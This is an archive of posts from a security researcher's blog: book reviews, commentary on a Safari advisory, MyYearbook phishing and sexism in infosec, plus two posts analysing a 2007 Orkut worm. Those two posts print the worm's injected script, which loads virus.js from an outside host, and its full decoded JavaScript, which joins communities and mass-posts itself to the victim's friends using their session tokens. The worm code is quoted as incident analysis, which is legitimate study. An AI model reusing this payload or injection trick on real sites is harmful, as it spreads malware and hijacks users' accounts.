ryanlrussell

Ghost in the Wires

2011-10-07T20:47:00.000-07:00

Ghost in the Wires, Mitnick & Simon

Disclaimer: Kevin Mitnick is a personal friend, and this review is based on a late galley copy. I have no financial interest in this book. The above link is an affiliate link.

I have been reading books about Kevin Mitnick for years. Finally, we get to read the best one yet. All of the previous authors worked from information they could glean, and some limited interactions with Kevin himself. The problem is, he was playing most of them a lot of the time. What we have here is Kevin's own version of his story, written himself, along with his collaborator William Simon.

I'll just jump right in; I loved this book. If you have any interest in real-world hacks at all, read it. The other books and news stories didn't cover half of what he did. As I devoured in in two days, I kept turning to people to say "Read this!" or repeating one of his stories for co-workers.

I have some clear favorite stories, but I don't want to give any spoilers. It's that much like reading a thriller. My favorites are how he defeated the radio encryption used by the FBI, and how he would go about obtaining a new identity. Specifically, how and where he researched the identities, and got the appropriate document papers.

The sheer audacity that some of his tricks took is amazing to me. He admits things in the first few pages that surprised me. And after reading about how things went with his friends over the years, I finally have some appreciation for why he has such hatred of snitches.

Let's be clear, this is not a technical book like others I have read. He doesn't cover how to exploit a stack overflow. When he breaks into a Solaris box, he says "I used a Solaris exploit." He says that the reason for that was to make it more readable for the general public. And I don't think he's incorrect in that. The focus is story and history.

But even if you're a hard-core technical security person, I think you'll like the book for what it is. Unless you think that security begins and ends with writing a cool exploit. Do I think Kevin has technical skills? I do. But those aren't his greatest powers. Yes, he's a fantastic social engineer. And using those skills, he owned more things and companies than probably anyone else. A 0-day exploit that lets you break into a source control server is impressive. But I don't think it's quite as cool as calling up and getting them to just mail you a tape with the source. There's no patch for stupid.

You'll also enjoy the book if you have an interest in computer or security history like I do. It spans several decades, from when he was a kid interested in magic up to almost present day. There are the cameos from other well-known hackers that have had books written about them as well. I have enjoyed reading articles and seeing Twitter exchanges with Kevin and some of his old victims. (All amiable so far as I have seen.)

If you want the most accurate version of the Mitnick story available, here you go.

The Mac Hacker's Handbook

2009-05-11T20:22:00.000-07:00

The Mac Hacker's Handbook is the best reference for Mac-specific attack information that I have found. At 368 pages, it may appear small compared to the typical 750+ page security tome. That's because the authors have done a near-perfect job of sticking to the topic at hand, the Mac. The authors do not succumb to the usual temptation to try and teach assembly language or reverse engineering. Rather, they do an excellent job touching on those topics in an OS X context, and assume the reader has a little background in that area already, or can otherwise keep up. I have done some limited research into the areas of Mac malware and process injection in the past. This book has done a fantastic job of filling in many holes in my knowledge that I hadn't been able to take care of before. Plus, it introduced me to a number of Mac-specific security features I wasn't aware of before. Highly recommended for anyone interested in Mac security.

Detailed commentary follows.

The authors Charlie Miller and Dino Dai Zovi have impressed me on several levels.

A couple of years ago, I did a presentation of Mac malware, where I researched some similar areas on my own. The purpose of my talk was to demonstrate that the privilege separation on a typical single-user OS X box made no difference, because an attacker could do everything they need from user mode.

My skills are somewhere between beginner and intermediate in the areas of programming, reverse engineering, vulnerability research and exploit writing. With a lot of work, I was able to create a very crude keyboard sniffer by attaching a library to launched processes. In one chapter (chapter 11), this book spelled out everything I needed to know and more. And implements several useful injected components in a much more flexible way than I was able to. I could have really used this information then.

I ran across many of the same libraries and examples that the authors reference in the book. However, they were mostly code examples with no context, intended to be groked by hard-core Mac programmers. Here, they are presented in an actual understandable way, building on examples as they go. It makes a huge difference. The level of writing meshed perfectly with my past knowledge and filled in the holes I had. I have an advantage over a rank beginner, but I suspect they have reached as wide an audience as is possible with their writing.

They do this consistently throughout the book. And this is what really made this an excellent book for me, was the actual writing. You'll have to excuse me if I geek out a little bit on this topic, but I've written a few technical books myself, and I have a great appreciation for how hard it is to do this well.

There are many traps one can fall into when writing a book like this. A lot of the topics are circular. As in, it's difficult to pick a sane order to follow, and not repeat a lot of information. There's always a temptation to try and show off advanced topics, and not adequately cover the intro material. It's easy to get lazy and not put the time into explaining a concept, assuming everyone knows it. Authors sometimes dump a lot of pictures and code on the reader for length.

These authors fell for none of these. The ordering of topics and advancing difficulty seem ideal. Code is almost uniformly useful and well-documented. They don't beat you over the head with example after example for the same topic. Rather than attempting to include a complete PowerPC and x86 instruction reference, they give you the minimum set of instructions that they used. The pacing was great. I was neither bored reading things I knew, nor unable to keep up with the material (until I struggled slightly to absorb the last chapter or two.)

Production values are good. The price is great, the length is very appropriate. Editing is good. (Not perfect; I spotted a dozen very minor typos. But then, I can't turn off my internal proofreader anymore, you're unlikely to notice most if any of those.)

There are other minor things to appreciate if you've been around vulnerabilities and exploits for a while. I feel like they did a great job explaining heap exploitation, compared to other attempts I've read. I very much enjoyed the little bits of history when they discuss who pioneered a particular technique. Most of Dino's code has a date in the comments, so you have some idea what was known at the time.

I'd go so far as to say that this book really is a general book about how to find and exploit vulnerabilities, using the Mac as your research platform. And it turns out that the Mac is a great place to learn.

MyYearbook

2008-07-21T12:08:00.000-07:00

I've been wasting a bunch of time on MyYearbook.com, a MTWWTOSNS (massively time-wasting web-two-oh social-networking site.) If you'd like to descend into madness with me, click here join join for my personal gain:
Be Ryan's Friend

Several interesting aspects to this one, for security people. First, the are many sociological aspects. For example, what happens if you tell people they can't post naked pics? Second, there is a play money currency, which drives everyone's behavior. Finally, they are getting phished left and right from within the site.

And the staff there appears to be so woefully unprepared to deal with it. When I saw the phishing, I thought I might mail their abuse contact info (only email address I found published), and see if they needed info, if I could put them in touch with a takedown group, etc. I got bounces from gmail. Um, your abuse email at your own domain depends on gmail?

The site is absolutely begging for someone to start using XSS. The game model they have basically demands it. For example, your popularity depends on profile views. And I can post a pretty wide range of HTML to someone in about 20 different ways. I haven't tried to see if I can find any XSS. Mostly because I don't trust myself not to abuse it.

But my favorite thing about MyYearbook that I just realized, while sitting in JFK coming back from HOPE. This site is teaching millions of people how to do simple HTML. And nearly half of these people are below average intelligence.

Edutainment, indeed.

Little Brother

2008-06-08T14:26:00.000-07:00

I just finished reading Little Brother by Cory Doctorow while on a plane to Seattle for a Windows Secrets meetup.

There are a few audiences one might rate this book against. Probably the only fair one is the one Cory wrote for, young adult readers who need an introduction to electronic civil rights (and civil rights in general, for that matter.) For that audience, I think he has succeeded admirably. I will make my copy available to my kids, and see if any of them have an opinion.

To be sure, the book tries to indoctrinate readers to the cyber libertarian way of thinking. Since I happen to agree with that doctrine, I have no problem with that. (And yes, I gave up fighting the use of "cyber". I lose.)

Another audience I might rate this book against is the one I put myself in. Middle-aged infosec people. Perhaps with a little amateur writer thrown in. I still recommend the book, but now I have to start breaking out caveats and picking nits.

Spoilers ahoy.

First off, how's the tech? This is a sliding graph. Compared to the vast majority of the books in the world, Cory's technical accuracy is quite high. There are extreme ends of this scale. For example, Dan Brown (The Da Vinci Code author) writes with basically zero tech accuracy. Amazingly good, page-turning drama. Horrible tech. So Dan's down at the great writing, lousy tech corner.

If I may give my ego a backhanded stroke for a moment, I place myself up at the opposite corner. In the Stealing the Network series, I went way out of my way to make my tech 100% accurate. I also acknowledge that my writing probably sucks, so I like to think of myself as the anti-Dan Brown. Mercifully, my books are shelved in the Computer section of book stores.

Cory's writing in Little Brother is good and his tech is very good. (For a not-specifically tech, non-hacking book). So he's in the upper-right quadrant of the graph.

But of course I'm compelled to point out specific problems. Cory sacrifices some accuracy for plot in a few key places. And appropriately so, I think. The plot flows better this way. Biggest example is the RFID rewriting. The majority of the tags are not rewritable. Cory has kids running around doing non-contact rewrites of FastTrak and other cheap RFID tags. Doesn't work in real life. Nor, I believe, in the near future.

Speaking of time, I can't recall spotting anything in the book that would indicate a specific year. I'm sure that's intentional. I've had my books described as being 10 minutes into the future. I think Cory's at 60 minutes. It reads like now plus 5 to 10 years.

Cory's writing also snags in a few places. (Keep in mind, just because I can spot someone else doing it doesn't mean I can avoid doing it myself.) One of his purposes is to instruct. He doesn't assume the reader knows what an RFID tag is in the first place. This is where there's a big difference between random YA reader and someone like me who has been doing security for years.

For me, he's way over-explaining, and the story grids to a halt. It's mostly first-person, and so are the explanations. But the first person goes from being aimed at someone in the story to being aimed at the reader. It's as if the main character turns to look straight out of the page at you. For someone who knows these things, it's like saying "money can be used for goods and services." So this lessened the enjoyment of the story aspect for me somewhat. But again, probably a tradeoff he made.

I also am already caught up on all the technical and political aspects the book covers, so I didn't learn anything new there. But then I read Boing Boing, was around when the EFF was founded, have been going to various hacking conferences for over a decade, and know half of the people Cory used for source material.

In my case, that leaves the story. On to the parts I did like. I find the overall plot, sadly, believable. It's almost entirely set in San Francisco and the Bay Area, where I live. So he gets local color points. He came up with a number of characters I care about. He made me angry about what was happening in the story. After the first couple of chapters, I had to spend all my spare time reading it.

Let me see if I can help you categorize yourself as a person who would agree with the politics of this book, and would be ok sharing with a YA reader. Do you get mad every time Thomas Hawk links to a story about a photographer getting hassled by the police or a security guard? Do you want to call up and scream at a school board or principal when Fark links to a story about some kid getting expelled for a t-shirt or haircut? Do you have nothing but contempt for the TSA every time you find yourself removing your shoes at the airport?

If the answer is yes, then you will probably "enjoy" the plot and be right on board with the political implication. Be prepared to spend the first half of the book angry.

You know what else I liked? Cory didn't shy away from the other points of view in the discussion. He goes ahaead and points out how his main character is just like a terrorist. He gets screwed over by his parents for most of the book. Some of his own friends give up on him. Some of his trusted circle betray him. He doubts constantly. He suffers for it. It's not like Cory's position still isn't clear, but I appreciate him exposing all the costs.

The big moral of the story is that intrusive government sucks. But the smaller moral is that you have to stand up for your own rights, and it's going to hurt.

Little Brother download page
Little Brother posts on Boing Boing
Cory's review of one of my books (seems only fair)

Race to Zero

2008-05-31T10:27:00.000-07:00

The Race to Zero contest.

So, people are going to write some new packers? OK, no problem then.

Is Microsoft dropping Apple 0-day?

2008-05-30T21:43:00.000-07:00

Just saw this link show up in my RSS reader:
Microsoft Security Advisory (953818) Blended Threat from Combined Attack Using Apple’s Safari on the Windows Platform

From the advisory:

FAQ

What causes this threat?
A combination of the default download location in Safari and how the Windows desktop handles executables creates a blended threat in which files may be downloaded to a user’s machine without prompting, allowing them to be executed. Safari is available as a stand-alone install or through the Apple Software Update application.

And

Workarounds
Microsoft has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.
•
Change the download location of content in Safari to a location other than ‘Desktop’
Launch Safari. Under the Edit menu select Preferences.
At the option where it states Save Downloaded Files to:, select a different location on the local drive.

So... that sounds a lot like if I were to download a desktop.ini file or something like that, I'd get my Windows all 0wned. As in, if I cared to, I probably wouldn't have to work too hard to figure out how to exploit this from Microsoft's description and workaround.

Is this being exploited in the wild or something? Otherwise I kinda would have expected Microsoft to keep quiet until it was patched by Apple.

I guess Apple pushing Safari on Windows iTunes/Quicktime users isn't looking so hot about now?

Update:
Aha, pointer from Slashdot and The Register. The carpet bombing seems to be the genesis, but that's not the whole story, since he doesn't talk about executing code.

Update2:
There it is, it was found by Aviv Raff.

More on Orkut worm

2007-12-19T00:22:00.000-08:00

Yes, my HTML/Javascript-fu is weak. So much so that I didn't know we were dealing with pure Javascript. Javascript that just happens to exist to facilitate posting Flash movies and games, so that's why it has "Flash" written all over it.

To back up several steps... I received an email from Orkut saying that someone I know had left me a scrapbook entry. I went and looked at it, and was puzzling over the non-Englishness of it from someone whom I know is an English speaker. Of course during that time my browser (Firefox on OS X) was busy doing the same to my Orkut contacts. Sorry about that guys!

One of them is Jeremy Rauch. Within minutes of me looking at my scrapbook, I get email that Jeremy and others have now left me new scrapbook entries. This is about when I start to guess what's going on. I mail Jeremy to point out that he seems to have it now, and he says he knows... I gave it to him. Whoops! Jeremy was skeptical that Flash was really involved, since he has it blocked in his browser by default. He was right.

So here is what I think is happening, to the best of my ability as someone with weak Javascript-fu. Take a look at the chunk of HTML that ends up as a scrapbook entry that I posted earlier.

It obviously pulls in a chunk of Javascript that is even named "virus.js". But why all the trickery with the Shockwave and flash stuff? If Orkut allows posting raw HTML, why the games? Why not just source virus.js and be done with it?

So I did some experiments tonight. I tried the old script, alert 'hello I'm an XSS', etc... and that doesn't work. It says my rich content was rejected, see here.

And yet, I can paste in a much more complicated embed a flash movie expression, and that DOES work. Though, it made me fill in a CAPTCHA. I suspect that CAPTCHA is brand new as of tonight, otherwise I'm not seeing how the worm worked so well.

So the basic security challenge for Orkut here is that they want to allow some arbitrary HTML, but not others. As we have seen for many years with web-based email, that's a pretty hard problem to solve.

So that's why the hoops to jump through. The worm author needed something that looked like a flash movie so that Orkut would allow posting it, but in fact allowed him to pull in arbitrary Javascript.

This is where the SWFObject library comes into play. Its purpose in life seems to be to make it easier to embed Flash stuff and have it play properly. Orkut is nice enough to make this library available to every browser that loads the Scrapbook (and probably other) pages. They keep it at http://img2.orkut.com/js/gen/scraps006.js, which they source for you.

It looks to me like the worm author is able to build a SWFObject that includes the Javascript and causes it to be embedded in the Orkut page, thereby acting in the right context to have access to your Orkut cookies and all the good stuff that an AJAX worm needs. MySpace isn't alone in having all the good Web 2.0 worms anymore.

Jeremy decoded and prettied up the obfuscated Javascript. You can see that code at the end. If you're watching carefully, you'll see this version has a different message as the scrap body than the one I originally posted. That means the person (presumably the worm author) who controls the virus.js download page has revved the file at least one. I have two different (obfuscated) versions. Since I believe Orkut was taking active measures to shut this thing down, I'm guessing the author changes the text in case Orkut was keying off that.

Like I mentioned before, if the CAPTCHA is new, that should essentially stop this thing from spreading. This kind of worm has interesting implications for social sites. If this gets to be really common, it means you'll be answering CAPTCHAs or something similar left and right.

Also worth noting is that stopping the worm doesn't stop other interesting attacks. I was still able to post the same embed chunk of code to my own scrapbook as an experiment, I just had to answer the CAPTCHA. So a human could still put something there. If they can use it to run Javascript, that still leaves open attacks where they can steal your cookies.

It looks like the immediate problem is over. I probably won't have a lot more technical to say on this one. I hope that the Jeremiahs and RSnakes of the world will jump in soon and tell me how the worm actually works.

Decoded Javascript:

var index=0;
var POST=JSHDF["CGI.POST_TOKEN"];
var SIG=JSHDF["Page.signature.raw"];

function createXMLHttpRequest(){
try {
return new
ActiveXObject("Msxml2.XMLHTTP")
}
catch(e){
} ;

try {
return new ActiveXObject("Microsoft.XMLHTTP")
}
catch(e){
};

try {
return new XMLHttpRequest()
}
catch(e){
} ;
return null
};

function setCookie(name,value,expires,path,domain,secure){
var curCookie=name+"="+escape(value)+(expires?";expires="+expires.toGMTString():"")+(path?";path="+path:"")+(domain?";domain="+domain:"")+(secure?";secure":"");
document.cookie=curCookie
};

function getCookie(name){
var dc=document.cookie;
var prefix=name+"=";
var begin=dc.indexOf(";"+prefix);
if(begin==-1){
begin=dc.indexOf(prefix);
if(begin!=0){
return false
}
} else {
begin+=2
};
var end=document.cookie.indexOf(";",begin);

if(end==-1){
end=dc.length
};
return unescape(dc.substring(begin+prefix.length,end))
};

function deleteCookie(name,path,domain){
if(getCookie(name)){ document.cookie=name+"="+(path?";path="+path:"")+(domain?";domain="+domain:"")+";expires=Thu, 01-Jan-70 00:00:01 GMT";
history.go(0)
}
};

function loadFriends(){
var xml=createXMLHttpRequest();
if(xml){
xml.open("GET","http://www.orkut.com/Compose.aspx",true);
xml.send(null);
xml.onreadystatechange=function(){
if(xml.readyState==4){
if(xml.status==200){
var xmlr=xml.responseText;
var div=document.createElement("div");
div.innerHTML=xmlr;
var select=div.getElementsByTagName("select").item(0);
if(select){
select.removeChild(select.getElementsByTagName("option").item(0));
select.setAttribute("id","selectedList");
select.style.display="none";
document.body.appendChild(select);
sendScrap()
}
} else {
loadFriends()
}
}
};
xml.send(null)
}
};

function cmm_join(){
var send="POST_TOKEN="+encodeURIComponent(POST)+"&signature="+encodeURIComponent(SIG)+"&Action.join";
var xml=createXMLHttpRequest();
xml.open('POST','http://www.orkut.com/CommunityJoin.aspx?cmm='+String.fromCharCode(52,52,48,48,49,56,49,56),true);
xml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xml.send(send);
xml.onreadystatechange=function(){
if(xml.readyState==4){
if(xml.status!=200){
cmm_join();
return
};
loadFriends()
}
}
};

function sendScrap(){
if(index==document.getElementById("selectedList").length){
return
};
var scrapText="Boas festas de final de ano![silver]"+new Date().getTime()+"[/silver] ";
var send="Action.submit=1&POST_TOKEN="+encodeURIComponent(POST)+"&scrapText="+encodeURIComponent(scrapText)+"&signature="+encodeURIComponent(SIG)+"&toUserId="+document.getElementById("selectedList").item(index).value;

var xml=createXMLHttpRequest();
xml.open("POST","http://www.orkut.com/Scrapbook.aspx",true);
xml.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xml.send(send);
xml.onreadystatechange=function(){
if(xml.readyState==4){
index++;
var wDate=new Date;
wDate.setTime(wDate.getTime()+86400);
setCookie('wormdoorkut',index,wDate);
sendScrap()
}
}
};

if(!getCookie('wormdoorkut')){
var wDate=new Date;
wDate.setTime(wDate.getTime()+86400);
setCookie('wormdoorkut','0',wDate)
};

index=getCookie('wormdoorkut');
cmm_join();

Orkut "virus"

2007-12-18T21:02:00.000-08:00

More of a worm, actually.

I had an email from Orkut this evening telling me I had a new scrapbook entry. I don't really use Orkut, but I signed up a while back, and friended a bunch of people I know. The scrapbook entry was a bit cryptic:

2008 vem ai... que ele comece mto bem para vc

I still don't know exactly what it means, I'm assuming it's Portuguese. Babelfish wasn't any help. I won't mention who I got it from, but I will admit that if you are friended by me on Orkut, I probably gave you a copy too. Fortunately, it looks like Orkut is actively and quickly deleting them, to stop the spread. I say completely unsarcastically, good job Orkut on the quick response!

I haven't done any kind of through analysis yet, but it looks like a Javascript worm that kicks in via a Flash XSS? My HTML/Javascript/Flash-fu is pretty darn weak. This is what it looked like:

<div id="flashDiv295378627"><embed type="application/x-shockwave-flash" src="Scrapbook_files/LoL.html" style="" id="295378627" name="295378627" bgcolor="#FFFFFF" quality="autohigh" wmode="transparent" allownetworking="internal" allowscriptaccess="never" height="1" width="1"></embed></div><script type="text/javascript"> var flashWriter = new _SWFObject('http://www.orkut.com/LoL.aspx', '295378627', '1', '1', '9', '#FFFFFF', 'autohigh', '', '', '295378627'); flashWriter._addParam('wmode', 'transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape(''); flashWriter._addParam('allowNetworking', 'internal'); flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv295378627');</script>

Looks like it joins you to an Orkut group, too:

Infectados pelo Vírus do Orkut.

Owner of the group is a new-looking account named "Virus do Orkut". Also, listed at the end of the virus.js file is this: author="Rodrigo Lacerda"

The Ladies of Infosec

2007-07-19T10:36:00.000-07:00

I was at an event not long ago, and the woman in the group was really pissed. In a room full of nothing but security geeks, someone asked her "Oh, do you do security work?"

This didn't happen with any of the guys. The question they got was "Where do you work?"

I was thinking about this today, and I realized that every woman I know who works in infosec has told me a similar story. That might be a slight exaggeration, but not much. Literally every one I can think of right now has told me one of these stories.

They get things like:

Are you here with your boyfriend?
She used to be a man
Take your shirt off

Yes, sadly I have heard jerks yell out "take your shirt off" when a woman was trying to give a talk.

How much do women hate this? You can read what Raven thinks about it.

Let me tell you a little about this particular woman in question that reminded me of all this. She has worked in some of the most important software companies in the world, in the security groups. She has worked at at least two security companies that I know of. Pick just about any well-know security male, and they know who she is and they respect her work.

If you've been paying attention to the infosec world, you probably know who I'm talking about. Keep it to yourself, because this particular woman is not the point.

I have met a number of women at various conferences. I'd look really foolish if I went around assuming they weren't attendees or didn't know what they were doing. I've met a woman who works for the CIA. I've met one who was a heavy-duty cryptographer. I've met one who does BGP vulnerability research. Yes, the women are rare. Staring and asking stupid questions doesn't help improve that.

Because of how hostile the infosec world is to women, the ones who manage to survive tend to really love what they do, and have worked very hard to stay in the field. This may mean that the woman you just met is better at security than 90% of the men. That probably includes you (and I'll happily concede that includes me.)

Keep that in mind.